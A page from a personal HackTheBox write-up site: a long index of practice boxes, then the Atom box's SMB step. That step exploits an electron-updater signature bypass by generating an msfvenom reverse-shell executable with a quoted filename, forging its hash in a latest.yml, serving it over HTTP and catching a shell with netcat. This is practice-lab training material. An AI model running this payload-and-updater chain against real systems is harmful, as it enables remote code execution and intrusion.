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HackTheBox Writeups
  • kashz HTB Writeups
  • HTB BOXES
    • ACCESS
      • 5 admin
      • 4 user
      • 3 telnet
      • 2 http
      • 1 recon
    • ADMIRER
      • 5 root
      • 4 adminer-php
      • 3 ftp
      • 2 http
      • 1 recon
    • ARCHETYPE
      • 3 :1433 mssql
      • 2 :139 :445 smb
      • 1 recon
    • ARMAGEDDON
      • 8 privesc dirty_sockv2
      • 7 privesc
      • 6 box enum bruce
      • 5 :80 drupalgeddon2
      • 4 :80 droopescan
      • 3 :80
      • 2 :80 robots.txt
      • 1 recon
    • ATOM
      • 4 privesc
      • 3 box enum jason
      • 2 :139 :445 smb
      • 1 recon
    • BANK
      • 5 privesc
      • 4 box enum
      • 3 :80
      • 2 :53 dns
      • 1 recon
    • BANKROBBER
      • 6 privesc brute force PIN > BOF
      • 5 privesc bankv2.exe
      • 4 box enum cortin
      • 3 admin backdoorchecker.php
      • 2 :80 :443 XSS > admin
      • 1 recon
    • BASHED
      • 2 :80
      • 1 recon
    • BASTARD
      • 6 privesc_2 ms10-059
      • 5 privesc_1 ms15-051
      • 4 box enum KE
      • 3 :80 drupalgeddon2
      • 2 :80 drupal7
      • 1 recon
    • BASTION
      • 3 box enum > privesc
      • 2 :139 :445 smb
      • 1 recon
    • BEEP
      • 7 :80 elastix 2.2.0 RCE + privesc
      • 6 :10000 webmin
      • 5 :25 smtp
      • 4 :80 vtigercrm
      • 3 :80 admin
      • 2 :80
      • 1 recon
    • BLOCKY
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • BLUE
      • 3 ms17-010
      • 2 :139 :445 smb
      • 1 recon
    • BLUNDER
      • 5 www-data > hugo > root
      • 4 box enum
      • 3 bludit 3.9.2 file_upload RCE
      • 2 :80
      • 1 recon
    • BOUNTY
      • 4 JuicyPotato
      • 3 privesc check
      • 2 :80
      • 1 recon
    • BOUNTYHUNTER
      • 4 privesc
      • 3 :22 ssh development
      • 2 :80 xxe
      • 1 recon
    • BRAINFUCK
      • 5 privesc
      • 5 :443 sup3rs3cr3t.brainfuck.htb
      • 4 :143 imap
      • 3 :443 wpscan
      • 2 :443
      • 1 recon
    • BRAINPAN1
      • 4 privesc
      • 3 BOF
      • 2 :10000
      • 1 recon
    • BUCKET
      • 6 privesc
      • 5 dynamodb roy
      • 4 box enum www-data
      • 3 :80 s3.bucket.htb
      • 2 :80 bucket.htb
      • 1 recon
    • BUFF
      • 4 privesc
      • 3 :80
      • 2 :8080
      • 1 recon
    • CAP
      • 4 privesc
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • CHATTERBOX
      • 5 privesc autologon creds
      • 4 privesc w/ grant perm
      • 3 box enum
      • 2 :9256 achat chat system
      • 1 recon
    • CONCEAL
      • 9 privesc
      • 8 :80
      • 7 :21 ftp
      • 6 post vpn recon
      • 5 ipsec conn config
      • 4 ipsec summary
      • 3 :500/udp ipsec
      • 2 :161/udp snmp
      • 1 recon
    • CRONOS
      • 6 post enum
      • 5 privesc cronjob
      • 4 box enum
      • 3 :53 dns
      • 2 :80
      • 1 recon
    • DELIVERY
      • 4 :3306 mysql > privesc
      • 3 :8065 mattermost
      • 2 :80
      • 1 recon
    • DEVEL
      • 4 privesc_2 ms11-046
      • 3 privesc_1 JuicyPotato
      • 2 :21 ftp
      • 1 recon
    • DOCTOR
      • 7 post enum
      • 6 :8089 privesc splunk > root
      • 5 web > shaun
      • 4 box enum web
      • 3 :80 SSTI
      • 2 :80 splunkd
      • 1 recon
    • DYNSTR
      • 6 privesc
      • 5 box enum > bindmgr
      • 4 nsupdate exploit
      • 3 :80
      • 2 :53 dns
      • 1 recon
    • EXPLORE
      • 3 :2222 ssh kristi > root
      • 2 :59777 es file explorer
      • 1 recon
    • FRIENDZONE
      • 7 privesc
      • 6 administrator1.friendzone.red
      • 5 dns
      • 4 smb
      • 3 :443
      • 2 :80
      • 1 recon
    • FUSE
      • 7 privesc SeLoadDriverPrivilege
      • 6 rpc
      • 5 spray passwd
      • 4 :389 ldap
      • 3 :80 PaperCut Logger
      • 2 :139 :445 smb
      • 1 recon
    • GRANDPA
      • 4 privesc
      • 3 webdav exploit
      • 2 :80
      • 1 recon
    • GRANNY
      • 4 privesc
      • 3 :80 webdav exploit
      • 2 :80
      • 1 recon
    • HAIRCUT
      • 5 post enum
      • 4 privesc www-data > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • IRKED
      • 4 box enum
      • 3 :6697 irc
      • 2 :80
      • 1 recon
    • JARVIS
      • 9 post enum
      • 8 pepper > root
      • 7 www-data > pepper
      • 6 box enum www-data
      • 5 phpMyAdmin 4.8 LFI
      • 4 :80 sqli
      • 3 :64999
      • 2 :80
      • 1 recon
    • JEEVES
      • 2 :50000
      • 1 recon
    • JERRY
      • 4 manual
      • 3 tomcatWarDeployer
      • 2 :8080 tomcat
      • 1 recon
    • KNIFE
      • 3 privesc
      • 2 :80 php 8.1.0 dev
      • 1 recon
    • LABORATORY
      • 6 privesc
      • 5 gitlab admin dexter
      • 4 stable shell
      • 3 :443 gitlab shell
      • 2 :443 gitlab
      • 1 recon
    • LACASADEPAPEL
      • 4 box enum > privesc
      • 3 :80 > :443
      • 2 :21 ftp
      • 1 recon
    • LAME
      • 4 :139 :445 smb exploit
      • 3 :3632 distccd
      • 2 :139 :445 smb
      • 1 recon
    • LEGACY
      • 4 MS-17-010
      • 3 MS08-067
      • 2 :139 :445 smb
      • 1 recon
    • LOVE
      • 3 privesc
      • 2 :80
      • 1 recon
    • MAGIC
      • 5 post enum
      • 4 privesc theseus > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • MANGO
      • 6 post enum
      • 5 privesc admin > root
      • 4 mango > admin
      • 3 box enum mango
      • 2 :80 :443
      • 1 recon
    • MIRAI
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • MONITORS
      • 12 post enum
      • 11 docker breakout > root
      • 10 Apache Tomcat/9.0.31 deserialization RCE > docker root
      • 9 box enum marcus
      • 8 manual enum www-data
      • 7 :8443
      • 6 box enum www-data
      • 5 cacti-admin.monitors.htb
      • 4 wp with spritz exploit
      • 3 :80 wpscan
      • 2 :80
      • 1 recon
    • NETWORKED
      • 7 post enum
      • 6 box enum guly > privesc > root
      • 5 check_attack.php
      • 4 box enum
      • 3 :80 upload.php & lib.php
      • 2 :80
      • 1 recon
    • NIBBLES
      • 4 privesc
      • 3 fileUpload exploit
      • 2 :80
      • 1 recon
    • NINEVEH
      • 6 post enum
      • 5 privesc amrois > root
      • 4 box enum www-data > amrois
      • 3 :443
      • 2 :80
      • 1 recon
    • NODE
      • 7 post enum
      • 6 privesc tom > root
      • 5 mark > tom
      • 4 box enum mark
      • 3 :3000 login
      • 2 :3000
      • 1 recon
    • OMNI
      • 5 cracking user.txt | root.txt
      • 4 dump SAM SYSTEM
      • 3 box enum ?
      • 2 :8080
      • 1 recon
    • OOPSIE
      • 4 post enum
      • 3 box enum > privesc
      • 2 :80
      • 1 recon
    • OPENADMIN
      • 6 joanna > root
      • 5 jimmy > joanna
      • 4 manual enum > jimmy
      • 3 openNetAdmin 18.1.1
      • 2 :80
      • 1 recon
    • OPHIUCHI
      • 4 privesc
      • 3 yaml deserialization exploit
      • 2 :8080
      • 1 recon
    • OPTIMUM
      • 3 box enum > privesc
      • 2 :80
      • 1 recon
    • PASSAGE
      • 7 post enum
      • 6 privesc dbus com.ubuntu.USBCreator.conf
      • 5 box enum nadav
      • 4 box enum paul
      • 3 box enum www-data
      • 2 :80 cutenews
      • 1 recon
    • POISON
      • 6 foothold_3 log poisoning
      • 5 foothold_2 phpinfo.php + LFI
      • 4 privesc vncviewer > root
      • 3 box enum charix
      • 2 :80
      • 1 recon
    • POPCORN
      • 7 post enum
      • 6 privesc_2 rds
      • 5 privesc_1 full-nelson
      • 4 manual privesc > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • POSTMAN
      • 6 webmin (matt > root)
      • 5 Matt > root
      • 4 redis > Matt
      • 3 :6379 redis
      • 2 :80
      • 1 recon
    • QUERIER
      • 6 privesc GPP CachedPassword
      • 5 privesc
      • 4 mssql using msf
      • 3 mssql
      • 2 smb
      • 1 recon
    • READY
      • 4 PEAS > docker > escape > root
      • 3 :5080 gitlab
      • 2 :5080 robots.txt
      • 1 recon
    • REMOTE
      • 8 privesc teamviewer
      • 7 privesc UsoSvc
      • 6 privesc
      • 5 RCE
      • 4 :111 rpc
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • SCRIPTKIDDIE
      • 2 :5000
      • 1 recon
    • SECNOTES
      • 9 privesc_3 bash.exe
      • 8 privesc_2 UsoSvc
      • 7 privesc_1 PrintSpoofer
      • 6 box enum iis apppool
      • 5 :445 smb
      • 4 :80 CSRF
      • 3 :8808 IIS
      • 2 :80 IIS
      • 1 recon
    • SENSE
      • 2 :80 pfsense
      • 1 recon
    • SERVMON
      • 5 privesc
      • 4 box enum nadine
      • 3 :80 NVMS
      • 2 :21 ftp
      • 1 recon
    • SHIELD
      • 3 privesc
      • 2 :80
      • 1 recon
    • SHOCKER
      • 2 :80 shellshock
      • 1 recon
    • SILO
      • 6 odat shell
      • 5 sqlplus
      • 4 :1521 orcale tns listener
      • 3 :8080 XDB
      • 2 :80
      • 1 recon
    • SNEAKYMAILER
      • 11 post enum
      • 10 privesc low > root
      • 9 localhost:5000 > low
      • 8 box enum developer
      • 7 box enum www-data
      • 6 :21 ftp
      • 5 :143 imap
      • 4 :25 smtp
      • 3 :8080
      • 2 :80
      • 1 recon
    • SNIPER
      • 8 box enum chris + privesc
      • 7 iusr > chris
      • 6 privesc_1 PrintSpoofer
      • 5 box enum nt authority\iusr
      • 4 :80 /blog > LFI > smbRFI
      • 3 :80 /user
      • 2 :80
      • 1 recon
    • SOLIDSTATE
      • 7 privesc
      • 6 :22 ssh mindy
      • 5 :110 pop3
      • 4 apache james 2.3.2 RCE
      • 3 :4555 JAMES RAT 2.3.2
      • 2 :80
      • 1 recon
    • SPECTRA
      • 4 nginx shell > katie
      • 3 wordpress
      • 2 :80
      • 1 recon
    • SPIDER
      • 8 post enum
      • 7 localhost:8080 XXE
      • 6 box enum chiv manual
      • 5 box enum chiv
      • 4 :80 chiv login + SSTI
      • 3 :80 sqlmap via flask cookie
      • 2 :80 SSTI via /register to /user
      • 1 recon
    • SWAGSHOP
      • 3 privesc
      • 2 :80
      • 1 recon
    • TABBY
      • 5 tomcat > ash > root
      • 4 box enum
      • 3 :8080 tomcat9
      • 2 :80
      • 1 recon
    • TARTARSAUCE
      • 10 post enum
      • 9 privesc omuna > root
      • 8 box enum onuma
      • 7 www-data > onuma
      • 6 box enum www-data
      • 5 :80 monstra
      • 4 :80 wpscan
      • 3 :80 monstra
      • 2 :80
      • 1 recon
    • TENET
      • 4 privesc
      • 3 php file injection (deserialization exploit)
      • 2 :80 wordpress
      • 1 recon
    • THENOTEBOOK
      • 5 privesc docker runC exploit
      • 4 shell
      • 3 :80 JWT exploitation
      • 2 :80
      • 1 recon
    • TRAVEREXEC
      • 5 david > root
      • 4 www-data > david
      • 3 box enum
      • 2 :80 nostromo 1.9.6
      • 1 recon
    • VACCINE
      • 4 privesc
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • VALENTINE
      • 6 privesc dirtyc0w
      • 5 privesc tmux
      • 4 box enum
      • 3 heartbleed
      • 2 :80
      • 1 recon
    • WORKER
      • 11 evil-winrim robisl :5985
      • 10 box manual enum
      • 9 box enum iis apppool\defaultapppool
      • 8 privesc PrintSoofer FAIL
      • 7 :80 spectral.worker.htb shell
      • 6 :80 devops.worker.htb
      • 5 explore domains
      • 4 :80 dimension.worker.htb
      • 3 :3690 subversion
      • 2 :80 IIS 10.0
      • 1 recon
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  1. HTB BOXES
  2. ATOM

2 :139 :445 smb

$ nmap -p 139,445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.237
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-01 15:21 PDT
Nmap scan report for 10.10.10.237
Host is up (0.072s latency).

PORT    STATE    SERVICE
139/tcp filtered netbios-ssn
445/tcp open     microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.10.10.237\ADMIN$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.10.237\C$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.10.237\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\10.10.10.237\Software_Updates:
|     Type: STYPE_DISKTREE
|     Comment:
|     Anonymous access: <none>
|_    Current user access: READ/WRITE

Nmap done: 1 IP address (1 host up) scanned in 39.90 seconds

$ smbclient //10.10.10.237/Software_Updates
Enter WORKGROUP\kashz's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat May  1 15:36:52 2021
  ..                                  D        0  Sat May  1 15:36:52 2021
  client1                             D        0  Sat May  1 15:35:46 2021
  client2                             D        0  Sat May  1 15:35:46 2021
  client3                             D        0  Sat May  1 15:35:46 2021
  UAT_Testing_Procedures.pdf          A    35202  Fri Apr  9 04:18:08 2021
 
 
http://10.10.10.237/releases/heed_setup_v1.0.0.zip
contains .exe installer

UAT_Testing_Procedures.pdf
Note taking application built with electron-builder
There’s no server interaction when creating notes. = no need to reverse engineer the binary
To initiate the QA process, just place the updates in one of the "client" folders, and the appropriate QA team will test it to ensure it finds an update and installs it correctly = we can try getting reverse shell using this

Electron builder exploit on Google takes us to https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html
RCE can be easily achieved by using a filename containing a single quote and then by recalculating the file hash to match the attacker-provided binary (using shasum -a 512 maliciousupdate.exe | cut -d " " -f1 | xxd -r -p | base64).

# generating shell using msfvenom with a single quote in filename
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.15 LPORT=6969 -e "x86/shikata_ga_nai" -f exe -o "r'evx.exe"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of exe file: 73802 bytes
Saved as: r'evx.exe

# generating shasum
$ shasum -a 512 "r'evx.exe"| cut -d " " -f 1 | xxd -r -p | base64
fA8Brc+usPtwvAHR64r8b+A1eedKvJg5egb1eeTl3XrJLbPdTvIyG2zvbDLWQ9iP3WFvevshJ42C4Pa57E6etA==

$ file "heedv1 Setup 1.0.0.exe"
heedv1 Setup 1.0.0.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

# creating latest.yaml file
version: 1.1.0
path: http://10.10.14.15/r'evx.exe
sha512: fA8Brc+usPtwvAHR64r8b+A1eedKvJg5egb1eeTl3XrJLbPdTvIyG2zvbDLWQ9iP3WFvevshJ42C4Pa57E6etA==

# put latest.yml in client1

(terminal-x)
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [03/May/2021 16:22:14] code 404, message File not found
10.10.10.237 - - [03/May/2021 16:22:14] "GET /r'evx.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [03/May/2021 16:22:14] "GET /r%27evx.exe HTTP/1.1" 200 -

(terminal-y)
$ rlwrap nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.237] 62563
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
atom\jason
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Last updated 3 years ago